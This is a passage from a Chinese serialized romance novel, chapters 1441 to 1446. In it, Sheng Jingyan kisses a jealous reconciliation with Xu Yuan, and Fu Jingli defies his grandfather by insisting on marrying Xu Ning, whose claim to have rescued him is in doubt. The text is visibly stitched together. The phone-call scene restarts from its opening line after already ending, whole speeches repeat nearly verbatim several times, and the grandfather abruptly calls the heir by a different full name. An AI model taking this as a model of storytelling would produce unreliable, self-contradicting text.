他无法忽视她方才看向傅京礼时,眼底闪过的那一抹复杂,那份复杂里,有怀念,有感慨,或许,还有一丝他不愿承认的在意。 许愿愣了下,一时之间竟不知道该如何回应。 恍惚了一瞬,她才轻声说:“我没有。”那句“没有”,说得轻飘飘的,却像是在说服自己,又像是在回应他的试探,可眼底那一抹难以掩饰的慌乱,却出卖了她的心。 盛景炎看着她眼底的慌乱,心底的醋意愈发浓烈,那份醋意里,还掺杂着一种难以言说的悲凉。 他知道傅京礼对她而言,是曾经的执念,是少女时期最美好的憧憬,可这份执念,却像一道无形的屏障,横亘在他与许愿之间,让他无法真正放心。 他收紧了手臂,将她紧紧锁在怀里,仿佛稍一松手,她就会被那份执念拉走。 “我都看到了,”他的声音低沉下来,带着几分压抑的苦涩,“你看他的眼神跟看我的眼神不一样,你好像还在喜欢傅京礼。” 那句“还在喜欢”,像一块石头,重重砸在许愿的心底,让她眼底的苦涩愈发浓烈。 她知道,盛景炎说得没错。 她看着傅京礼的眼神,确实与看着盛景炎的眼神不同。 看着盛景炎时,是安心,是甜蜜,是满满的依赖与信任,仿佛整个世界都因他而变得温暖明亮。 可看着傅京礼时,却掺杂着太多复杂的情绪。 那是少女时期埋下的种子,是多年来的执念,是曾经以为的“命中注定”,哪怕现在清楚傅京礼或许并没有自己想象中那般好,可那份埋在心底的情感,依旧会在不经意间冒出来,让她控制不住自己的情绪。 喜欢了那么多年的人,怎么可能突然说不喜欢就不喜欢了呢? 那是傅京礼啊,是她少女时期最喜欢的人,是她曾在无数个夜晚里偷偷想起、悄悄憧憬的人。 那份情感,早已融入了她的青春岁月,成了她心底最柔软也最难以割舍的一部分。 哪怕现在理智告诉她,傅京礼或许并不适合她,或许他们之间隔着太多谎言与算计,可那份情感的余温,依旧会在某个瞬间涌上心头,让她难以彻底放下。 许愿眸光闪了闪,内心的苦涩像潮水般漫过心底,她轻轻咬了咬下唇,没有说话,只是将脸颊更紧地贴在他的胸膛上,听着里面沉稳有力的心跳声,仿佛这样就能平复心底的波澜。 盛景炎感受着怀里的柔软,感受着她轻微的颤抖,心底的醋意与悲凉愈发浓烈。 他嫉妒傅京礼,嫉妒他能在许愿的青春里占据如此重要的位置,嫉妒那份执念能在她心底扎根如此之深,哪怕他用尽所有办法,也无法彻底取代。他嫉妒得发疯,却又因为爱她,而只能压抑着这份嫉妒,将所有的不安与醋意,化作更紧的拥抱,化作更认真的告白。 “阿愿,”他的声音低沉下来,带着几分压抑的难过,像在诉说一件最委屈的事,“我有点难过,我在吃醋,你哄哄我好不好,我真的有点可怜。”那句“有点难过”,说得轻飘飘的,却透着一种难以忽视的脆弱,让许愿的心猛地一揪。 她从未见过盛景炎露出这样脆弱的模样,他向来都是那么强势、那么自信,仿佛世间的一切都在他的掌控之中,可此刻,他却在她面前,卸下了所有的伪装,像个孩子般,向她索要一份安慰。 他的眼底满是认真,又带着一丝不易察觉的卑微,那份认真里,藏着他对她的在意,那份卑微里,藏着他对这份感情的珍视。 他想要她的回应,想要她的安慰,想要她告诉他,她的心里,只有他一个人。 许愿愣神之际,盛景炎已经缓缓低头,温热的唇瓣轻轻覆上了她的唇。 那是一个带着试探的吻,柔软而温热,像春日里最轻柔的风,拂过她的唇瓣,带着淡淡的牛奶香气。 起初,他只是轻轻触碰,像是在感受她的温度,像是在等待她的回应。 许愿下意识地微微僵了一下,指尖依旧抵在他的胸膛上,却没有推开他。 那份熟悉的触感,那份带着爱意的温度,让她心底的苦涩与不安渐渐被抚平。盛景炎感受到她的顺从,眼底的笑意渐渐漫开,那份难过与醋意,也在这个吻里渐渐消散。 他缓缓加深了这个吻,唇齿相依,温柔而缠绵,像在品尝世间最甜蜜的蜜糖,又像在宣告着他的主权。 他是盛景炎,是那个会用尽所有办法爱她、护她的人。 他的吻带着一种不容置疑的温柔与坚定,像潮水般漫过她的心底,将她所有的复杂情绪都包裹其中。 许愿渐渐放松下来,指尖轻轻勾住他的衣领,回应着他的吻。 两人的呼吸交织在一起,车内流动的光影仿佛都慢了下来,只剩下彼此的温度与心跳声,在这私密的空间里,奏响一曲缠绵的乐章。 盛景炎的吻渐渐变得热烈,带着一种近乎贪婪的占有欲,却又不失温柔。 他轻轻咬了咬她的下唇,像是在撒娇,又像是在求索更多。 许愿轻声嘤咛了一声,指尖轻轻抚过他的脸颊,回应着他的热情。 两人的身体紧紧贴在一起,所有的亲密与缠绵,都在这个吻里展现得淋漓尽致。那份缠绵,像藤蔓般缠绕着两人,越收越紧,仿佛要将彼此都融入对方的骨血里,再也无法分开。 在这个吻里,盛景炎的所有醋意与不安,都化作了更深的爱意与占有欲。 他知道,他无法改变傅京礼在她心底的位置,可他愿意用尽一切办法,让她知道,他对她的爱,比执念更真,比时光更久。 而许愿渐渐放下了心底的苦涩与纠结,回应着他的爱意。 或许,执念会随着时间淡去,可此刻这份真切的、带着温度的爱意,才是她此刻最该珍惜的。 车窗外的霓虹光影依旧流动,车内两人的身影紧紧缠绕在一起,唇齿相依,呼吸交融,所有的暧昧、醋意、爱意与缠绵,都在这个吻里极致缠绵。 第1442章 我的阿愿,只能看着我 许久,盛景炎才缓缓放开她,额头抵着她的额头,眼底满是温柔与认真,又带着一丝未褪的醋意:“阿愿,别再用那样的眼神看他了,好不好?我的阿愿,只能看着我,只能喜欢我一个人。” 那句“只能”,带着一种不容置疑的坚定,也带着一种近乎卑微的祈求。 许愿看着他眼底的认真,感受着他唇瓣上残留的温度,轻轻点了点头,声音轻柔却带着一种难以忽视的坚定:“好,我只看着你,只喜欢你。” 那句“只喜欢你”,像一颗定心丸,让盛景炎心底的醋意与悲凉彻底消散。 他低头,在她的额头上轻轻印下一个吻,又缓缓吻上她的唇瓣,这一次的吻,比之前更温柔,更缠绵,像在诉说着心底最真挚的爱意,也像在宣告着。 他的阿愿,终将只属于他。 …… 傅家老宅的楠木雕花窗棂外,暮色正缓缓漫过庭院里的古松,将窗棂的影子拉得又长又斜。 傅京礼坐在回程的加长轿车里,指尖还残留着方才拥抱许宁时,她身上那缕浅淡的栀子香,那是他执念了十年的“白月光”气息,此刻正裹着滚烫的温度,熨帖着他心底多年的空缺。 可这份温度还没焐热,车载电话的铃声骤然响起,猝不及防地刺破了车内的暧昧暖意。 “喂,爷爷。”傅京礼的声音刻意放得沉稳,指腹无意识地摩挲着手机边缘,目光落在窗外飞速倒退的街景上,试图让自己的语气显得平静些。 电话那头的傅老爷子,正坐在老宅的书房里,手里把玩着一枚温润的和田玉印章,方才还在跟管家聊着傅京礼与许愿的婚事,语气里满是笃定与期待。 此刻听到傅京礼的声音,老爷子脸上的笑意更浓了些,声音也放得温和:“阿礼,跟阿愿聊得怎么样?阿愿跟傅家的门楣也相衬。她聪明,知进退,跟你再合适不过了,如果你觉得不错,咱们就早点把订婚的事定下来,选个好日子,让傅家上下都热闹热闹。” 话音落下时,傅京礼还没来得及开口,窝在副驾座椅上的许宁猛地僵住了身体。 她的指尖瞬间收紧,指甲几乎嵌进掌心,那股刺痛感让她眼底的慌张无处遁形。 她像只受惊的兔子,侧头朝傅京礼的方向看去,嘴唇微微颤抖着,眼神里满是难以置信与不安。 她知道傅老爷子一直看中许愿,也清楚老爷子对“傅家少奶奶”的要求有多严苛,可她没想到,老爷子居然会直接在电话里跟傅京礼提订婚的事,而且是在她还在场的情况下。 她下意识地攥紧了衣角,身体微微蜷缩起来,恨不得把自己藏进座椅的阴影里,生怕傅京礼的一个眼神、一句话,就会让这场精心编织的谎言当场崩塌。 傅京礼握着手机的手指骤然收紧,指节泛白。 车内的空气仿佛在瞬间凝固,方才那股缠绕在心底的滚烫,此刻像被一盆冰水浇过,透着一股刺骨的寒意。 他沉默着,目光落在副驾上许宁那张满是慌张的脸,看着她眼底那抹熟悉的、让他想起十年前雨夜的脆弱,心底的执念瞬间压过了老爷子的安排。片刻后,他缓缓开口,声音带着一种不容置疑的坚定,一字一句地说:“爷爷,我要娶许宁。” “什么?!”傅老爷子的声音猛地拔高,那枚原本被他握在掌心的和田玉印章,“哐当”一声砸在红木书桌上,发出沉闷的声响,震得电话里的电流都仿佛跟着嗡鸣起来。 老爷子脸上的笑意早已消失得无影无踪,取而代之的是一片铁青,眼底满是震惊与愤怒。 他没想到傅京礼会如此干脆地拒绝他的安排,而且拒绝的理由,居然是那个他从未在意过的许宁。 “你刚才说什么?你再说一次!”老爷子的声音带着压抑的怒火,每一个字都像是从牙缝里挤出来的一样,那股傅家掌权者的威严透过电话线,清晰地传递过来,让车内的空气愈发凝重。 傅京礼没有丝毫退缩,反而挺直了背脊,目光直视着前方,仿佛老爷子就坐在对面,等着他给出一个答案:“我说,我要娶许宁。她是当年救我的人,我找了她十年,现在找到了,就不能再放手。” 他的声音依旧沉稳,可那股坚定里,藏着十年执念的偏执,像一道坚固的堤坝,挡住了所有外界的干扰。 “我看你是疯了!”傅老爷子终于忍不住爆发,声音震得傅京礼耳膜发疼。 老爷子猛地站起身,几步走到窗边,看着庭院里那棵百年古松,胸口剧烈起伏着:“许宁?那个许家的私生女?她有什么?她能撑得起傅家的门楣吗?她能处理好傅家的生意吗?她能跟你一起面对傅家未来的风雨吗?你别忘了,你是傅家的继承人,你的婚姻从来不是你一个人的事!” 老爷子的声音里满是怒火,那股对家族利益的执着,对傅京礼“任性”的不满,像潮水般汹涌而来。 他顿了顿,语气愈发严厉:“阿愿不一样,她出身清贵,从小受的教育跟傅家一脉相承,她懂礼数、知进退,跟你站在一起,才是天造地设的一对。你跟她说过话,你就该知道,她跟许宁根本不是一个层次的人!你别被一时的执念冲昏了头,许宁那种小姑娘,或许会给你一点新鲜感,可长久呢?你能保证她不会给你惹麻烦吗?你能保证她能守住傅家的声誉吗?” 傅京礼听着老爷子的话,眼底闪过一丝冷意,可很快又被执念的火焰覆盖。 他摇了摇头,语气依旧坚定:“爷爷,您别再说了。当年的事,您是知道的,如果没有她,我早就死在那个雨夜了。这份恩情,这份执念,不是别人能替代的。许宁就是当年救我的人,我认定了她,谁也不能改变。” “认定了?”傅老爷子的声音带着几分嘲讽,几分失望,几分愤怒,“你认定了?你连她是不是真的都还没搞清楚!” 第1443章 我自己的人生,我自己做主 老爷子的话像一道惊雷,在傅京礼的耳边炸开。 他的身体猛地一震,目光瞬间落在副驾上许宁的手腕上。 那道疤痕,是她第一次见他时就露出来的,像一道烙印,印在他的执念里,可此刻,老爷子的话却像一把尖刀,刺进了他心底最柔软的地方。 他看着许宁,看着她眼底那抹熟悉的慌张,看着她下意识攥紧衣角的动作,心底的执念与老爷子的质疑,像两股力量,疯狂地撕扯着他。 许宁察觉到傅京礼的目光,慌张地缩了缩手腕,眼眶瞬间红了,声音带着哭腔,小声地开口:“阿礼哥哥,爷爷是不是误会什么了?我真的就是当年救你的人,那道疤,真的是当年被划的,只是后来好了,才变得整齐了些……” 她的声音里满是委屈,满是无助,像极了十年前那个在雨夜里,满身是血却依旧笑着的女孩,试图用这份“脆弱”,唤回傅京礼的执念。 傅京礼听着她的声音,心底的执念再次占据了上风。 他不能怀疑她,不能怀疑那个他找了十年的人,不能怀疑这份好不容易才重逢的执念。 他深吸一口气,对着电话里的老爷子说:“爷爷,您别再说了。我不会娶许愿,我要娶的人,只有许宁。这件事,我已经决定了。” “你!”傅老爷子被他气得浑身发抖,手指紧紧攥着手机,指节泛白,那股愤怒几乎要透过电话线冲过来,“阿礼,你这是在跟我对着干吗?你这是在拿傅家的未来开玩笑!你别忘了,傅家的家规,继承人的婚姻必须经过我的同意!” “爷爷,您可以不同意。”傅京礼的声音里带着一丝决绝,带着一种近乎偏执的坚定,“但我还是要娶她。这是我自己的选择,我自己的人生,我自己做主。” 电话那头,傅老爷子彻底沉默了。 那片沉默比刚才的怒火更让人窒息,像一座巨大的冰山,压在傅京礼的心头。许久,老爷子才缓缓开口,声音低沉得可怕,带着一种被冒犯的愤怒,也带着一种对继承人“叛逆”的失望:“我傅家,不会接受一个来历不明、只会带来麻烦的女人!” 傅家老宅的楠木雕花窗棂外,暮色彻底漫过庭院里的古松,将窗棂的影子拉得愈发狭长,如同一道道凝固在猩红地毯上的裂痕。 傅京礼坐在回程的加长轿车里,指尖残留的栀子香,原本是执念十年的“白月光”气息,此刻却在傅老爷子骤然响起的声音里,像被浇了一盆冰水,骤然冷却。 “喂,爷爷。”傅京礼的声音刻意放得沉稳,指腹摩挲着手机边缘,目光落在窗外飞速倒退的街景上,试图让语气显得平静。 可他心底那股滚烫的执念,正裹着重逢的狂热,与即将到来的冲突,悄然发酵。 电话那头的傅老爷子,正坐在老宅的书房里,手里还攥着那枚被摔在书桌上的和田玉印章。 方才的怒火让他指尖发颤,此刻听着傅京礼的声音,语气里满是压抑的怒意与失望:“傅京礼,你到底清不清楚你在说什么?你要跟这样一个人订婚,让我们傅家被人戳脊梁骨吗!” 他的声音陡然拔高,带着傅家掌权者独有的威严,每一个字都像重锤,砸在傅京礼的耳膜上,也砸在副驾上许宁的心尖上。 许宁的身体猛地一僵,像是被这股怒火烫到。 她缩在副驾的角落里,整个人蜷缩成小小的一团,双手紧紧攥着衣角,指节泛白。 她眼底的慌张再也藏不住,像潮水般漫上来,将方才那点因傅京礼维护而生的窃喜冲得一干二净。 她不是怕傅京礼的拒绝,而是怕这股来自傅家掌权者的、对“出身”的极致轻蔑。 小三的女儿,能受到什么好的教育? 这样的出身,是她这辈子都无法抹去的烙印,也是傅老爷子眼底最不堪的存在。 她偷偷抬眼看向傅京礼,眼眶瞬间红了,像只受尽委屈的兔子,只等他开口维护自己,只等他用那份执念,为自己挡住所有非议。 傅京礼听着老爷子的话,心底的烦躁愈发浓烈。 他不是不知道许宁的出身,可在他看来,那些都不是重点。 重点是她手腕上的疤痕,是那串熟悉的手链,是十年前那个雨夜的救命之恩。 他握着手机的手指用力收紧,指节泛白,语气里带着一种近乎偏执的坚定:“爷爷,我要娶许宁。当年的事,您是知道的,如果没有她,我早就死在那个雨夜了。这份恩情,这份执念,不是别人能替代的。” “执念?恩情?”傅老爷子的声音里满是嘲讽,那股对家族声誉的执着,对“出身”的轻蔑,像潮水般汹涌而来,“阿礼,你别忘了,你是傅家的继承人,你的婚姻从来不是你一个人的事!许宁是什么出身?小三的女儿!她能撑得起傅家的门楣吗?她能处理好傅家的生意吗?她能跟你一起面对傅家未来的风雨吗?你跟她说过话,你就该知道,她跟许愿根本不是一个层次的人!你别被一时的执念冲昏了头,许宁那种小姑娘,或许会给你一点新鲜感,可长久呢?你能保证她不会给你惹麻烦吗?你能保证她能守住傅家的声誉吗?” 老爷子的话像一道道惊雷,在傅京礼的耳边炸开。 他的身体猛地一震,目光再次落在副驾上许宁的手腕上。 那道疤痕,是她第一次见他时就露出来的,像一道烙印,印在他的执念里。 可此刻,老爷子的话却像一把尖刀,刺进了他心底最柔软的地方。 他看着许宁眼底那抹熟悉的慌张,看着她下意识攥紧衣角的动作,心底的执念与老爷子的质疑,像两股力量,疯狂地撕扯着他。 可他不能退缩,不能怀疑那个他找了十年的人,不能怀疑这份好不容易才重逢的执念。 “爷爷,您别再说了。”傅京礼的声音带着一种决绝,带着一种近乎偏执的坚定,“我要娶的人,只有许宁。这是我自己的选择,我自己的人生,我自己做主。” 第1444章 傅家的门,不是谁都能进的 电话那头,傅老爷子彻底沉默了。 那片沉默比刚才的怒火更让人窒息,像一座巨大的冰山,压在傅京礼的心头,也压得许宁几乎喘不过气。许久,老爷子才缓缓开口,声音低沉得可怕,带着一种被冒犯的愤怒,也带着一种对继承人“叛逆”的失望:“好,好,阿礼,你很好!” 话音落下,电话那头传来“嘟嘟”的忙音,傅老爷子直接挂断了电话。 傅京礼握着手机,听着那忙音,心底的执念与愤怒交织在一起,像一团乱麻,让他烦躁不已。 他猛地将手机扔在座椅上,身体重重地靠在椅背上,闭上眼睛,手指用力地按着眉心,试图平复心底的烦躁。 副驾上,许宁看着他这副模样,心底的慌张渐渐褪去,取而代之的是一丝窃喜。 老爷子的反对,只会让傅京礼更坚定地站在她这边,这份执念,只会被她牢牢地握在手里。她轻轻挪了挪身体,靠近傅京礼,声音带着哭腔,却满是“心疼”:“阿礼哥哥,对不起,都是因为我,让你跟爷爷吵架了……” 傅京礼睁开眼睛,看着她眼底的泪光,心底的烦躁渐渐被一种保护欲覆盖。他伸出手,轻轻擦去她眼角的泪水,语气放缓了些:“不是你的错,是我自己决定的。我会解决好的,你别担心。” 可车内的空气,依旧弥漫着一股沉重的、难以消散的寒意。 傅京礼将手机扔在座椅上后,指尖无意识地敲击着真皮座椅的扶手,发出“嗒、嗒”的轻响,像他此刻混乱的心绪。而傅老爷子挂断电话后,依旧站在书房的窗边,胸口剧烈起伏着,手里攥着那枚和田玉印章,指腹用力地摩挲着印章的边缘,仿佛要将所有的怒火都揉进这温润的玉石里。许久,他才重新拿起电话,拨通了傅京礼的号码。 他终究还是放心不下,想再劝一劝。 电话接通的瞬间,傅老爷子的声音带着一种疲惫的严厉:“傅承煜!”他用了傅京礼的全名,这是他极少有的态度,带着一种不容置疑的威严,“你给我听清楚,我不是那种对门第对家室非常严苛的人,可我也不是瞎子!你知不知道许宁是什么出身?小三的女儿!这样的出身,是绝对不配进傅家的门的!” “爷爷,您别这样!”傅京礼猛地睁开眼睛,身体坐直,语气里带着一种急切的反驳,“我跟您说过,许宁是当年救我的人,这份恩情,这份执念,不是出身能衡量的!” “执念?恩情?”傅老爷子的声音陡然拔高,带着一种恨铁不成钢的愤怒,“阿礼,你真的清楚自己在说什么吗?你知不知道,许宁这样的出身,意味着什么?她能受到什么好的教育?她懂不懂傅家的规矩?她懂不懂如何做一个傅家的少奶奶?你跟她在一起,要遭受多少人的非议?要多少人说你傅京礼无知可笑,好好地嫡系小姐不娶,一定要跟一个小三的女儿在一起?你有没有想过傅家的声誉?有没有想过我的脸面?有没有想过傅家未来的路?” 老爷子的话像一把把尖刀,裹着“出身”的枷锁,狠狠地扎向许宁。 她整个人缩在角落里,头垂得更低了,肩膀微微颤抖着,眼底的慌张与屈辱再也藏不住。 她不是怕那些非议,而是怕这些话会成为傅京礼心底的刺,怕这份执念会因为这些非议而动摇。 她偷偷抬眼看向傅京礼,眼眶红得像血,嘴唇微微颤抖着,却不敢发出一点声音,只等着他开口,只等着他用那份执念,为自己挡下所有风雨。 傅京礼听着老爷子的话,心底的烦躁愈发浓烈。 他猛地攥紧手机,指节泛白,语气里带着一种近乎蛮横的坚定:“爷爷,您别再说了!我要娶许宁,跟我在一起的人是我,不是别人。只要我高兴,没有人能够阻止我跟谁在一起。这是我自己的选择,我自己的人生,我自己做主!” “你——!”傅老爷子被他气得浑身发抖,手指紧紧攥着手机,指节泛白,那股愤怒几乎要透过电话线冲过来,“冥顽不灵!你简直是冥顽不灵!阿礼,你是不是觉得,有我这个爷爷,有傅家的基业,你就可以为所欲为?你是不是觉得,傅家的声誉、傅家的脸面,都可以被你拿来当儿戏?” “我没有!”傅京礼的声音陡然拔高,带着一种被误解的愤怒,“爷爷,您别再说了。许宁的出身不是她自己能决定的,如果可以,她也不希望自己是这样的出身。您不心疼她,我会心疼。您别再攻击她,这一切不是她的错!” 许宁她猛地抬起头,看向傅京礼,眼底满是感激与依赖,像是在茫茫大海中,终于抓住了一根救命的稻草。她微微张了张嘴,想说些什么,却还是忍住了,只是用那双满是泪光的眼睛,紧紧地盯着他,像是在无声地祈求他,不要放弃自己。 傅老爷子听着傅京礼的话,心底的怒火与失望愈发浓烈。 他看着窗外那棵百年古松,眼底满是复杂的情绪,有对继承人的担忧,有对家族声誉的焦虑,也有对“出身”的固执轻蔑。 他深吸一口气,语气里带着一种疲惫的严厉:“好,好,阿礼,我们傅家竟然出了你这样一个没脑子的情种。你说,我该拿你怎么办?” “爷爷,您别生气了。”傅京礼的声音放缓了些,却依旧带着坚定,“如果您真的对许宁有其他意见,大可以在我回去后再说这些,没必要这么攻击她。她很委屈,她没有做错什么,这一切不是她的错。” 傅老爷子听着傅京礼的话,心底的怒火渐渐被一种疲惫取代。 他看着窗外的暮色,沉默了许久,才缓缓开口,声音里带着一种无奈的严厉:“好,我给你这个面子,等你回了老宅再说这些。但是阿礼,你给我记清楚,傅家的门,不是谁都能进的,傅家的声誉,也不是你能拿来赌的!” 第1445章 一定会守好你的 话音落下,电话那头再次传来“嘟嘟”的忙音,傅老爷子又一次挂断了电话。 傅京礼握着手机,听着那忙音,心底的烦躁渐渐褪去,取而代之的是一种决绝的坚定。 他会保护好许宁,会守住这份执念,无论面对多少非议,无论傅家有多少人反对,他都不会退缩。 副驾上,许宁看着他这副模样,心底的窃喜愈发浓烈。她轻轻挪了挪身体,靠近傅京礼,声音带着哭腔,却满是“依赖”:“阿礼哥哥,谢谢你,真的谢谢你……” 傅京礼伸出手,轻轻拍了拍她的手背,语气坚定:“别怕,有我在,没人能把你从我身边抢走,也没人能阻止我们在一起。” 车内的空气,依旧弥漫着一股沉重的、难以消散的寒意。 那通电话挂断后,傅家老宅的书房里,傅老爷子依旧站在窗边,手里攥着那枚和田玉印章,指腹用力地摩挲着,仿佛要将所有的怒火与焦虑都揉进这温润的玉石里。 暮色彻底漫过庭院,将书房里的光线染得愈发昏暗,只有桌上的台灯,洒下一圈暖黄的光晕,却照不亮老爷子眼底的阴霾。 他回想着傅京礼方才在电话里的语气。 那股近乎偏执的坚定,那句“只要我高兴,没有人能够阻止我跟谁在一起”,像一把尖刀,刺得他心头发疼。 他不是不知道傅京礼对“白月光”的执念,可他更清楚,傅家的门楣、傅家的声誉,从来不是一个人的执念能随意撼动的。 许宁的出身,像一道无法跨越的鸿沟,横亘在傅京礼与傅家之间,也横亘在他与这个继承人之间。 “小三的女儿……”傅老爷子低声呢喃着,语气里满是轻蔑与不屑。他想起多年前,许宁的父亲与那个女人的丑闻,想起当时傅家上下对那场婚外情的议论,心底的厌恶愈发浓烈。 他不是那种对门第对家室非常严苛的人,可他更清楚,出身决定的不只是身份,更是教养、格局,还有对家族责任的认知。 许宁那样的出身,能受到什么好的教育?她懂不懂傅家的规矩? 她懂不懂如何做一个傅家的少奶奶?她能撑得起傅家的门楣吗? 他猛地将和田玉印章砸在书桌上,发出“哐当”一声巨响,震得书桌上的台灯都微微晃动起来。 他看着窗外那棵百年古松,眼底满是愤怒与失望。 傅京礼是他看着长大的,是他一手培养的继承人,可如今,却为了一个来历不明的女人,跟他对着干,甚至不惜拿傅家的声誉来赌。 他不是不心疼傅京礼,可他更心疼傅家的未来,心疼傅家几十年的声誉,不能毁在一场荒唐的婚姻里。 “冥顽不灵!”傅老爷子低声骂了一句,眼底满是疲惫。 他知道傅京礼的执念有多深,也知道他此刻的决定有多坚定,可他不能眼睁睁地看着傅家的声誉,毁在一场错误的婚姻里。 他拿起电话,拨通了家族里几位长老的号码。 他要让傅京礼知道,傅家不是他一个人的傅家,傅家的规矩,不是他一个人能打破的。 而另一边,傅京礼的加长轿车里,气氛也渐渐凝固。 傅京礼看着副驾上依旧红着眼眶的许宁,心底满是心疼与坚定。 他知道老爷子的反对,知道许宁的出身会带来多少非议,可他不能退缩,不能放弃这份执念。 他伸出手,轻轻握住许宁的手,声音温柔却带着一种不容置疑的坚定:“别怕,有我在,没人能把你从我身边抢走,也没人能阻止我们在一起。” 许宁看着他眼底的坚定,心底的窃喜愈发浓烈。她轻轻靠在他的肩膀上,声音带着哭腔,却满是“依赖”:“阿礼哥哥,谢谢你,真的谢谢你……我会好好对你,不会让你失望的……” 傅京礼轻轻拍了拍她的手背,语气放缓了些:“不是你的错,是我自己决定的。我会解决好的,你别担心。” 傅京礼眸光闪了闪,那抹因电话而起的晦暗里,混着几分对许宁的安抚。副驾的许宁立刻捕捉到他的情绪,纤细的手指揪着他的衣角,声音带着恰到好处的怯懦,像被风吹得颤动的羽毛:“阿礼哥哥,我是不是给你添麻烦了?爷爷他……是不是很生气?” “不是你的问题,你很好。”傅京礼转头看她,指腹轻轻蹭过她泛红的眼角,语气里满是笃定。 那十年执念早已成了他心底的锚,而此刻的许宁,正踩着这道锚,牢牢攥着他的目光。 许宁像是被这句肯定安抚了,猛地扑进他怀里,额头抵着他的胸膛,声音带着几分哽咽,却又藏着不易察觉的试探:“我还以为……阿礼哥哥会因为爷爷的几句话抛弃我的,阿礼哥哥不会抛弃我的对吗?” 她仰起头,眼底蓄着泪光,满是祈求,像雨夜里无处可去的幼兽,只盼着唯一的庇护者能给她一个承诺。 傅京礼看着她眼底的脆弱,心底那抹执念愈发滚烫,他抬手揽住她的腰,将她往怀里带了带,声音低沉而坚定:“我不会抛弃你,我一定会守好你的。” 许宁这才像是彻底放了心,面上还挂着担心的表情,可眼底却悄悄漫上些许笑意。 只要傅京礼不放弃她,只要这份执念还在,她就有办法把一切都攥在手里。她看着他,声音轻柔得像叹息:“阿礼哥哥,去见爷爷,一定不要丢掉我好不好?我真的想跟阿礼哥哥一直一直在一起。” “我会一直保护你。”傅京礼俯身,吻了吻她的额头,那吻带着滚烫的温度,一路沿着她的眉骨、眼尾,缓缓落在她的唇瓣上。 许宁的呼吸一滞,随即主动迎了上去。 两人的唇瓣相触的瞬间,车内仿佛燃起了一簇细碎的火,带着滚烫的温度,将方才的阴霾尽数驱散。她的手攀着傅京礼的脖子,指尖轻轻摩挲着他后颈的肌肤,带着几分勾引的意味。 傅京礼的手则扣着她的腰,力道不重,却带着不容挣脱的占有欲,将她牢牢禁锢在怀里。 第1446章 冥顽不灵 唇齿间的缠绵愈发激烈,呼吸交织在一起,带着栀子香与淡淡的烟草味,像一张无形的网,将两人裹在其中。 傅京礼的吻带着急切与安抚,从她的唇瓣一路向下,落在她的脖颈间,留下浅淡的吻痕,许宁轻轻哼了一声,身体微微颤抖着,像是承受不住这份滚烫的温度,又像是在无声地迎合。 车内昏暗的光线里,两人的身影交叠在一起,暧昧的气息在狭小的空间里蔓延开来,连空气都仿佛变得黏稠,只剩下彼此的呼吸与心跳声。 许久,傅京礼才缓缓松开她,指尖轻轻蹭过她泛红的唇瓣,眼底满是怜惜:“我们回去吧。” “嗯。”许宁应了一声,指尖还勾着他的衣领,眼底带着几分未褪的迷离,却又藏着一丝不易察觉的算计。 只要傅京礼还在她身边,只要这份执念没散,她就能把一切都变成真的。 傅京礼启动轿车,缓缓驶入傅家老宅。 老宅坐落在城郊的半山腰上,青灰色的砖墙带着岁月沉淀的厚重感,墙头爬满了常春藤,暮色里泛着淡淡的绿意。 正门是厚重的朱漆大门,门楣上挂着“傅府”两个鎏金大字,笔力遒劲,透着世家大族的威严。 轿车驶过青石板铺就的庭院,两侧是修剪整齐的松柏,树影婆娑,映在地面上,像一道道沉默的屏障。 庭院深处,一座三层的主楼矗立着,欧式的立柱与中式飞檐巧妙融合,透着古今交融的雅致,主楼的灯光亮着,却透着一股冷清的疏离感,仿佛在等待着一场即将到来的风暴。 轿车停在主楼前,傅京礼推开车门,伸手牵过许宁的手,带着她往里走。 许宁的手指冰凉,紧紧攥着傅京礼的手,眼底满是不安,却又强撑着镇定。 她知道,真正的考验,从踏进这座老宅开始。 傅老爷子正在书房里等着,书房位于主楼的二楼,整面墙的书架上摆满了古籍与典藏,红木书桌后,老爷子坐在太师椅上,脸色铁青,眼底满是怒火与失望。听到门外的脚步声,他猛地抬眼,目光如刀般射向傅京礼,声音带着疾言厉色:“傅京礼,你给我进来!” 傅京礼松开许宁的手,对她轻轻点了点头,示意她在外等候,随即推门走进书房。 门关上的瞬间,那股压抑的怒火便扑面而来。 “你到底怎么想的?”傅老爷子猛地站起身,手指着傅京礼,声音都在发颤,“为了一个许宁,跟我对着干,甚至不惜拿傅家的声誉来赌?你知不知道自己在做什么?你知不知道外面的人会怎么说你?会怎么说傅家?” 傅京礼站在书桌前,脊背挺直,眼底满是坚定,没有丝毫退缩:“爷爷,许宁是我的救命恩人,当年我被绑架的时候,是她救了我。” “救命恩人?”傅老爷子冷笑一声,眼底满是怀疑,“当年的事,你跟我说过,那个救你的女孩,手腕上有道疤,是被绑匪的刀划的,可你看看许宁,她手腕上的疤,是不是太整齐了?是不是太刻意了?你是不是被她骗了?” 傅京礼听着老爷子的话,心底那抹执念瞬间压过了怀疑。 他不能怀疑她,不能怀疑那个他找了十年的人,不能怀疑这份好不容易才重逢的执念。 他摇了摇头,语气里带着一种近乎偏执的坚定:“爷爷,您别再说了。当年的事,我认定了就是她,这份恩情,这份执念,不是出身能衡量的。许宁就是当年救我的人,我不会娶别人,我只要她。” “执念?恩情?”傅老爷子的声音陡然拔高,带着一种恨铁不成钢的愤怒,“阿礼,你别忘了,你是傅家的继承人,你的婚姻从来不是你一个人的事!许宁是什么出身?小三的女儿!这样的出身,是绝对不配进傅家的门的!你跟她在一起,要遭受多少人的非议?要多少人说你傅京礼无知可笑,好好地嫡系小姐不娶,一定要跟一个小三的女儿在一起?你有没有想过傅家的声誉?有没有想过我的脸面?有没有想过傅家未来的路?” 傅京礼听着老爷子的话,心底的烦躁愈发浓烈,可他依旧坚定地站在那里,眼底满是执念的火焰:“爷爷,您别再说了。我要娶的人,只有许宁。这是我自己的选择,我自己的人生,我自己做主!” “你——!”傅老爷子被他气得浑身发抖,“冥顽不灵!你简直是冥顽不灵!你是不是觉得,傅家的声誉、傅家的脸面,都可以被你拿来当儿戏?” “我没有!”傅京礼的声音陡然拔高,带着一种被误解的愤怒,“爷爷,您别再说了。许宁的出身不是她自己能决定的,如果可以,她也不希望自己是这样的出身。您不心疼她,我会心疼。您别再攻击她,这一切不是她的错!” 傅老爷子听着傅京礼的话,心底的怒火与失望愈发浓烈。 他看着眼前这个自己一手培养的继承人,眼底满是复杂的情绪。 有对继承人的担忧,有对家族声誉的焦虑,也有对“出身”的固执轻蔑。 傅京礼站在书房中央,窗外的夜色透过厚重的丝绒窗帘缝隙渗进来,在他脸上投下明暗交错的光影,像极了此刻他心底翻涌的复杂情绪。 